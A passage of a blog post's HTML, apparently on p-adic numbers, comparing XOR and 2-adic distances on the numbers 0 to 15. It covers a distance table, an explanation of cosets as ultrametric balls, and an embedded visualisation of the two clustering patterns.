      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.250</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.250 = 2^{-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.250</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.125</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.125 = 2^{-3}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.125</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.250</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.250 = 2^{-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.250</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>That table encodes a very pleasing visual representation, which I’ll render below.
Before we look at the picture, I need one word: <strong>coset</strong>.</p>

<p>A <a href="https://en.wikipedia.org/wiki/Coset">coset</a> is just a shifted copy of a repeating pattern.
Take “all multiples of 4” within 0–15: that’s {0, 4, 8, 12}.
Now shift it by 1: {1, 5, 9, 13}.
Shift by 2: {2, 6, 10, 14}.
Shift by 3: {3, 7, 11, 15}.
We just produced four cosets.</p>

<p>Why do we care here?
Because the <strong>balls</strong> of an ultrametric are cosets.
Every number inside a 2-adic ball of radius <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mi>k</mi></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span></span> is within <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mi>k</mi></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span></span> of every other number in that ball — which means all their pairwise differences are divisible by <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> — which means they all belong to the same residue class modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>.
That’s a coset of the subgroup of multiples of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>.
The same is true for XOR: every ball is a coset of the subgroup of numbers sharing the same leading <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> bits.</p>

<p>So the colors in the picture below are cosets.
Each color = one coset of some subgroup.
The two panels show the two completely different coset structures that the two metrics induce on the same 16 numbers.</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="width:100%;height:400px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-clustering').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-clustering" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>

<p>Let’s start by looking at the <strong>XOR panel</strong> first.
It’s now obvious that the table’s rows form solid blocks: 0–3 share one color, 4–7 another, 8–11 another, and lastly, 12–15 another.
They represent contiguous blocks.
All numbers that share their leading bits land together, and the blocks tile the number line without gaps or interleaving.</p>

<p>Now look at the <strong>2-adic panel</strong>.
The colors alternate: 0 and 1 are different shades, 2 and 3 are different, and the pattern keeps splitting as we move to the right.
We immediately notice that even and odd numbers belong to different groups.
But what’s peculiar is that then within the evens, multiples of 4 and non-multiples split again.
Then multiples of 8 split off.
The groups aren’t contiguous ranges — they’re scattered across the number line in a fractal, self-similar pattern.
<a href="https://cerncourier.com/a/who-ordered-all-of-that/">Who ordered that?</a></p>

<p>In the picture you might notice the legend saying things like <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≡</mo><mn>2</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n \equiv 2 \pmod{4}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>.
